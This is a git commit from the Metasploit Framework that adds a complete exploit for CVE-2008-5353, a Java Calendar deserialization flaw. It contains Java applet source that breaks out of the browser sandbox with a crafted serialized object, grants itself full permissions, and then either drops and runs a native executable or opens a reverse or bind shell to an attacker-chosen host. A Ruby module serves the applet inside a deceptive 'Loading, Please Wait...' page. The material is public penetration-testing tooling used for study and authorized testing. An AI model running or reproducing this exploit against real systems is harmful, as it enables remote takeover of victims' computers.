Add Stephen Fewer's shiny exploit for the Java deserialization flaw
git-svn-id: file:///home/svn/framework3/trunk@6664 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
9f69267759
commit
b8efb1bbf9
Binary file not shown.
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<classpath>
|
||||
<classpathentry kind="src" path="src"/>
|
||||
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER"/>
|
||||
<classpathentry kind="output" path="bin"/>
|
||||
</classpath>
|
|
@ -0,0 +1,17 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<projectDescription>
|
||||
<name>CVE-2008-5353</name>
|
||||
<comment></comment>
|
||||
<projects>
|
||||
</projects>
|
||||
<buildSpec>
|
||||
<buildCommand>
|
||||
<name>org.eclipse.jdt.core.javabuilder</name>
|
||||
<arguments>
|
||||
</arguments>
|
||||
</buildCommand>
|
||||
</buildSpec>
|
||||
<natures>
|
||||
<nature>org.eclipse.jdt.core.javanature</nature>
|
||||
</natures>
|
||||
</projectDescription>
|
|
@ -0,0 +1,12 @@
|
|||
#Thu May 21 11:57:24 BST 2009
|
||||
eclipse.preferences.version=1
|
||||
org.eclipse.jdt.core.compiler.codegen.inlineJsrBytecode=enabled
|
||||
org.eclipse.jdt.core.compiler.codegen.targetPlatform=1.1
|
||||
org.eclipse.jdt.core.compiler.codegen.unusedLocal=preserve
|
||||
org.eclipse.jdt.core.compiler.compliance=1.3
|
||||
org.eclipse.jdt.core.compiler.debug.lineNumber=generate
|
||||
org.eclipse.jdt.core.compiler.debug.localVariable=generate
|
||||
org.eclipse.jdt.core.compiler.debug.sourceFile=generate
|
||||
org.eclipse.jdt.core.compiler.problem.assertIdentifier=ignore
|
||||
org.eclipse.jdt.core.compiler.problem.enumIdentifier=ignore
|
||||
org.eclipse.jdt.core.compiler.source=1.3
|
|
@ -0,0 +1,7 @@
|
|||
/* AUTOMATICALLY GENERATED ON Tue Apr 16 17:20:59 EDT 2002*/
|
||||
/* DO NOT EDIT */
|
||||
|
||||
grant {
|
||||
permission java.security.AllPermission;
|
||||
};
|
||||
|
Binary file not shown.
Binary file not shown.
BIN
external/source/exploits/CVE-2008-5353/bin/msf/x/PayloadX$StreamConnector.class
vendored
Normal file
BIN
external/source/exploits/CVE-2008-5353/bin/msf/x/PayloadX$StreamConnector.class
vendored
Normal file
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,75 @@
|
|||
/*
|
||||
* 28 May 2009 - v3
|
||||
*
|
||||
* Based off Landon Fuller's PoC and write up here:
|
||||
* http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html
|
||||
*
|
||||
* An interesting discussion by Julien Tinnes can be found here:
|
||||
* http://blog.cr0.org/2009/05/write-once-own-everyone.html
|
||||
*
|
||||
* This issue has been resolved by Sun, details can be found here:
|
||||
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5353
|
||||
* http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1
|
||||
*
|
||||
* To test, grab and install an old vulnerable copy of the JRE/JDK here:
|
||||
* http://java.sun.com/products/archive/
|
||||
*
|
||||
* Once compiled into an applet (Applet.jar) it can be loaded with the following html:
|
||||
* <html>
|
||||
* <head></head>
|
||||
* <body>
|
||||
* <applet archive="Applet.jar" code="msf.x.AppletX.class" width="1" height="1">
|
||||
* <param name="data" value="41414141424242424343434355555555"/>
|
||||
* <param name="lhost" value="192.168.2.2"/>
|
||||
* <param name="lport" value="4444"/>
|
||||
* </applet>
|
||||
* </body>
|
||||
* </html>
|
||||
*
|
||||
* If the data param is set, PayloadX will drop this native payload data to file and execute it.
|
||||
* If no data param is set (or it is empty):
|
||||
* If an lhost is set, PayloadX will perform a reverse TCP shell to lhost:4444
|
||||
* If lhost and lport are set, PayloadX will perform a reverse TCP shell to lhost:lport
|
||||
* If no lhost is set, PayloadX will perform a bind shell on TCP port lport
|
||||
* If no params are set, PayloadX will perform a bind shell on TCP port 4444
|
||||
*/
|
||||
|
||||
package msf.x;
|
||||
|
||||
import java.applet.Applet;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
|
||||
public class AppletX extends Applet
|
||||
{
|
||||
private static final long serialVersionUID = -3238297386635759160L;
|
||||
|
||||
// a slightly modified version of Fuller's serialized Calendar object in hex form...
|
||||
private static final String serializedObject = "ACED00057372001B6A6176612E7574696C2E477265676F7269616E43616C656E6461728F3DD7D6E5B0D0C10200014A0010677265676F7269616E4375746F766572787200126A6176612E7574696C2E43616C656E646172E6EA4D1EC8DC5B8E03000B5A000C6172654669656C647353657449000E66697273744461794F665765656B5A0009697354696D655365745A00076C656E69656E744900166D696E696D616C44617973496E46697273745765656B4900096E6578745374616D7049001573657269616C56657273696F6E4F6E53747265616D4A000474696D655B00066669656C64737400025B495B000569735365747400025B5A4C00047A6F6E657400144C6A6176612F7574696C2F54696D655A6F6E653B78700100000001010100000001000000020000000100000121563AFC0E757200025B494DBA602676EAB2A502000078700000001100000001000007D9000000040000001500000004000000120000008A00000002000000030000000100000004000000100000001100000022000002DEFE488C0000000000757200025B5A578F203914B85DE20200007870000000110101010101010101010101010101010101737200186A6176612E7574696C2E53696D706C6554696D655A6F6E65FA675D60D15EF5A603001249000A647374536176696E6773490006656E6444617949000C656E644461794F665765656B490007656E644D6F6465490008656E644D6F6E7468490007656E6454696D6549000B656E6454696D654D6F64654900097261774F666673657449001573657269616C56657273696F6E4F6E53747265616D490008737461727444617949000E73746172744461794F665765656B49000973746172744D6F646549000A73746172744D6F6E7468490009737461727454696D6549000D737461727454696D654D6F64654900097374617274596561725A000B7573654461796C696768745B000B6D6F6E74684C656E6774687400025B42787200126A6176612E7574696C2E54696D655A6F6E6531B3E9F57744ACA10200014C000249447400124C6A6176612F6C616E672F537472696E673B787074000E416D65726963612F446177736F6E0036EE80000000000000000000000000000000000000000000000000FE488C00000000020000000000000000000000000000000000000000000000000000000000757200025B42ACF317F8060854E002000078700000000C1F1C1F1E1F1E1F1F1E1F1E1F770A000000060000000000007571007E0006000000020000000000000000787372000D6D73662E782E4C6F61646572585E8B4C67DDC409D8020000787078FFFFF4E2F964AC000A";
|
||||
|
||||
public static String data = null;
|
||||
|
||||
public void init()
|
||||
{
|
||||
try
|
||||
{
|
||||
ObjectInputStream oin = new ObjectInputStream( new ByteArrayInputStream( PayloadX.StringToBytes( serializedObject ) ) );
|
||||
|
||||
Object deserializedObject = oin.readObject();
|
||||
|
||||
if( deserializedObject != null && LoaderX.instance != null )
|
||||
{
|
||||
String data = getParameter( "data" );
|
||||
String lhost = getParameter( "lhost" );
|
||||
String lport = getParameter( "lport" );
|
||||
|
||||
if( data == null )
|
||||
data = "";
|
||||
|
||||
LoaderX.instance.bootstrapPayload( data, lhost, ( lport == null ? 4444 : Integer.parseInt( lport ) ) );
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,94 @@
|
|||
// This is heavily based off Fuller's Loader
|
||||
|
||||
package msf.x;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.ObjectInputStream;
|
||||
import java.io.ObjectOutputStream;
|
||||
import java.io.Serializable;
|
||||
import java.net.URL;
|
||||
import java.security.AllPermission;
|
||||
import java.security.CodeSource;
|
||||
import java.security.Permissions;
|
||||
import java.security.ProtectionDomain;
|
||||
import java.security.cert.Certificate;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
public class LoaderX extends ClassLoader implements Serializable
|
||||
{
|
||||
// The serial UID must match that as set in the vulnerable serializedObject.
|
||||
private static final long serialVersionUID = 6812622870313961944L;
|
||||
|
||||
public static LoaderX instance = null;
|
||||
|
||||
private void writeObject( ObjectOutputStream oos ) throws IOException, ClassNotFoundException
|
||||
{
|
||||
oos.defaultWriteObject();
|
||||
}
|
||||
|
||||
private void readObject( ObjectInputStream ois ) throws IOException, ClassNotFoundException
|
||||
{
|
||||
LoaderX.instance = this;
|
||||
|
||||
ois.defaultReadObject();
|
||||
}
|
||||
|
||||
public void bootstrapPayload( String data, String lhost, int lport ) throws IOException
|
||||
{
|
||||
String classNames[] = { "msf.x.PayloadX$StreamConnector", "msf.x.PayloadX" };
|
||||
String classPaths[] = { "/msf/x/PayloadX$StreamConnector.class", "/msf/x/PayloadX.class" };
|
||||
Class cls = null;
|
||||
|
||||
try
|
||||
{
|
||||
for( int index=0 ; index<classNames.length ; index++ )
|
||||
{
|
||||
ByteArrayOutputStream bos = new ByteArrayOutputStream();
|
||||
byte[] buffer = new byte[8192];
|
||||
int length;
|
||||
|
||||
// read in the class file from the jar
|
||||
InputStream is = getClass().getResourceAsStream( classPaths[index] );
|
||||
// and write it out to the byte array stream
|
||||
while( ( length = is.read( buffer ) ) > 0 )
|
||||
bos.write( buffer, 0, length );
|
||||
// convert it to a simple byte array
|
||||
buffer = bos.toByteArray();
|
||||
|
||||
URL url = new URL( "file:///" );
|
||||
|
||||
Certificate[] certs = new Certificate[0];
|
||||
|
||||
Permissions perm = new Permissions();
|
||||
perm.add( new AllPermission() );
|
||||
|
||||
ProtectionDomain pd = new ProtectionDomain( new CodeSource( url, certs ), perm );
|
||||
|
||||
cls = defineClass( classNames[index], buffer, 0, buffer.length, pd );
|
||||
}
|
||||
|
||||
// cls will end up being the PayloadX class
|
||||
if( cls != null )
|
||||
{
|
||||
// reflect into the PayloadX class to get these three fields
|
||||
Field payload_data = cls.getField( "data" );
|
||||
Field payload_lhost = cls.getField( "lhost" );
|
||||
Field payload_lport = cls.getField( "lport" );
|
||||
|
||||
// instantiate the PayloadX object once so as we can set the native payload data
|
||||
Object obj = cls.newInstance();
|
||||
|
||||
// set the native payload data, lhost and lport
|
||||
payload_data.set( obj, data );
|
||||
payload_lhost.set( obj, lhost );
|
||||
payload_lport.setInt( obj, lport );
|
||||
|
||||
// instantiate a second PayloadX object to perform the actual payload
|
||||
obj = cls.newInstance();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,154 @@
|
|||
package msf.x;
|
||||
|
||||
import java.io.BufferedReader;
|
||||
import java.io.BufferedWriter;
|
||||
import java.io.File;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
import java.io.OutputStream;
|
||||
import java.io.OutputStreamWriter;
|
||||
import java.net.ServerSocket;
|
||||
import java.net.Socket;
|
||||
import java.security.AccessController;
|
||||
import java.security.PrivilegedExceptionAction;
|
||||
|
||||
public class PayloadX implements PrivilegedExceptionAction
|
||||
{
|
||||
// This will contain a hex string of the native payload to drop and execute.
|
||||
public static String data = null;
|
||||
// If no native payload is set we get either a java bind shell or a java
|
||||
// reverse shell.
|
||||
public static String lhost = null;
|
||||
public static int lport = 4444;
|
||||
|
||||
class StreamConnector extends Thread
|
||||
{
|
||||
InputStream is;
|
||||
OutputStream os;
|
||||
|
||||
StreamConnector( InputStream is, OutputStream os )
|
||||
{
|
||||
this.is = is;
|
||||
this.os = os;
|
||||
}
|
||||
|
||||
public void run()
|
||||
{
|
||||
BufferedReader in = null;
|
||||
BufferedWriter out = null;
|
||||
|
||||
try
|
||||
{
|
||||
in = new BufferedReader( new InputStreamReader( is ) );
|
||||
out = new BufferedWriter( new OutputStreamWriter( os ) );
|
||||
char buffer[] = new char[8192];
|
||||
int length;
|
||||
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
||||
{
|
||||
out.write( buffer, 0, length );
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
|
||||
try
|
||||
{
|
||||
if( in != null )
|
||||
in.close();
|
||||
if( out != null )
|
||||
out.close();
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
||||
|
||||
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
||||
public static byte[] StringToBytes( String s )
|
||||
{
|
||||
byte[] data = new byte[s.length() / 2];
|
||||
|
||||
for( int i = 0 ; i < s.length() ; i += 2 )
|
||||
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
public Object run() throws Exception
|
||||
{
|
||||
// if the native payload data has not been set just return for now, it
|
||||
// will be set by the next time we reach here.
|
||||
if( PayloadX.data == null )
|
||||
return null;
|
||||
|
||||
try
|
||||
{
|
||||
String os = System.getProperty( "os.name" );
|
||||
|
||||
// if we have no native payload to drop and execute we default to
|
||||
// either a TCP bind or reverse shell.
|
||||
if( PayloadX.data.length() == 0 )
|
||||
{
|
||||
Socket client_socket = null;
|
||||
|
||||
String shell = "/bin/sh";
|
||||
|
||||
if( os.indexOf( "Windows" ) >= 0 )
|
||||
shell = "cmd.exe";
|
||||
|
||||
if( PayloadX.lhost == null )
|
||||
{
|
||||
ServerSocket server_socket = new ServerSocket( PayloadX.lport );
|
||||
client_socket = server_socket.accept();
|
||||
}
|
||||
else
|
||||
{
|
||||
client_socket = new Socket( PayloadX.lhost, PayloadX.lport );
|
||||
}
|
||||
|
||||
if( client_socket != null )
|
||||
{
|
||||
Process process = Runtime.getRuntime().exec( shell );
|
||||
|
||||
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
||||
|
||||
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + Math.random() + ".exe";
|
||||
|
||||
Process p;
|
||||
FileOutputStream fos = new FileOutputStream( path );
|
||||
|
||||
fos.write( StringToBytes( PayloadX.data ) );
|
||||
fos.close();
|
||||
|
||||
if( os.indexOf( "Windows" ) < 0 )
|
||||
{
|
||||
p = Runtime.getRuntime().exec( "chmod 755 " + path );
|
||||
p.waitFor();
|
||||
}
|
||||
|
||||
p = Runtime.getRuntime().exec( path );
|
||||
|
||||
p.waitFor();
|
||||
|
||||
new File( path ).delete();
|
||||
}
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public PayloadX()
|
||||
{
|
||||
try
|
||||
{
|
||||
AccessController.doPrivileged( this );
|
||||
}
|
||||
catch( Exception e ) {}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,159 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize( info = {} )
|
||||
|
||||
super( update_info( info,
|
||||
'Name' => 'Sun Java Calendar Deserialization Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
|
||||
|
||||
The payload can be either a native payload which is generated as an executable and
|
||||
dropped/executed on the target or a shell from within the Java applet in the target browser.
|
||||
|
||||
The effected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
|
||||
and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'Stephen Fewer <stephen_fewer[at]harmonysecurity.com>', 'hdm' ],
|
||||
'Version' => '1',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', 'CVE-2008-5353' ],
|
||||
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2008/12/calendar-bug.html' ],
|
||||
[ 'URL', 'http://landonf.bikemonkey.org/code/macosx/CVE-2008-5353.20090519.html' ],
|
||||
[ 'URL', 'http://blog.cr0.org/2009/05/write-once-own-everyone.html' ],
|
||||
[ 'URL', 'http://sunsolve.sun.com/search/document.do?assetkey=1-26-244991-1' ]
|
||||
],
|
||||
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
|
||||
'Payload' => { 'Space' => 8192, 'BadChars' => '', 'DisableNops' => true },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Generic (Java Payload)',
|
||||
{
|
||||
# This is a bad hack to force only the generic/shell_bind_tcp and generic/shell_reverse_tcp payloads
|
||||
'Platform' => ['win'],
|
||||
'Payload' => { 'Space' => 0 },
|
||||
'Arch' => ARCH_CMD,
|
||||
}
|
||||
],
|
||||
[ 'Windows x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X PPC (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_PPC,
|
||||
}
|
||||
],
|
||||
[ 'Mac OS X x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'osx',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
[ 'Linux x86 (Native Payload)',
|
||||
{
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri( cli, request )
|
||||
data = nil
|
||||
host = nil
|
||||
port = nil
|
||||
|
||||
if not request.uri.match(/\.jar$/i)
|
||||
if not request.uri.match(/\/$/)
|
||||
send_redirect( cli, get_resource() + '/', '')
|
||||
return
|
||||
end
|
||||
|
||||
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
|
||||
|
||||
payload = regenerate_payload( cli )
|
||||
if not payload
|
||||
print_status( "Failed to generate the payload." )
|
||||
return
|
||||
end
|
||||
|
||||
if target.name == 'Generic (Java Payload)'
|
||||
if datastore['LHOST']
|
||||
host = datastore['LHOST']
|
||||
port = datastore['LPORT']
|
||||
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
|
||||
else
|
||||
port = datastore['LPORT']
|
||||
datastore['RHOST'] = cli.peerhost
|
||||
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
|
||||
end
|
||||
else
|
||||
|
||||
if target['Arch'] == ARCH_X86
|
||||
data = Rex::Text.to_win32pe( payload.encoded ) if target['Platform'] == 'win'
|
||||
data = Rex::Text.to_osx_x86_macho( payload.encoded ) if target['Platform'] == 'osx'
|
||||
data = Rex::Text.to_linux_x86_elf( payload.encoded ) if target['Platform'] == 'linux'
|
||||
elsif target['Arch'] == ARCH_PPC
|
||||
data = Rex::Text.to_osx_ppc_macho( payload.encoded ) if target['Platform'] == 'osx'
|
||||
end
|
||||
|
||||
if data
|
||||
print_status( "Generated executable to drop (#{data.length} bytes)." )
|
||||
data = Rex::Text.to_hex( data, prefix="" )
|
||||
else
|
||||
print_status( "Failed to generate the executable." )
|
||||
return
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
|
||||
return
|
||||
end
|
||||
|
||||
print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." )
|
||||
send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
|
||||
|
||||
handler( cli )
|
||||
end
|
||||
|
||||
def generate_html( data, host, port )
|
||||
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
||||
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
||||
html += "<applet archive=\"Applet.jar\" code=\"msf.x.AppletX.class\" width=\"1\" height=\"1\">"
|
||||
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
||||
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
||||
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
|
||||
html += "</applet></body></html>"
|
||||
return html
|
||||
end
|
||||
|
||||
def generate_jar()
|
||||
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5353.jar" )
|
||||
fd = File.open( path, "rb" )
|
||||
data = fd.read(fd.stat.size)
|
||||
fd.close
|
||||
return data
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue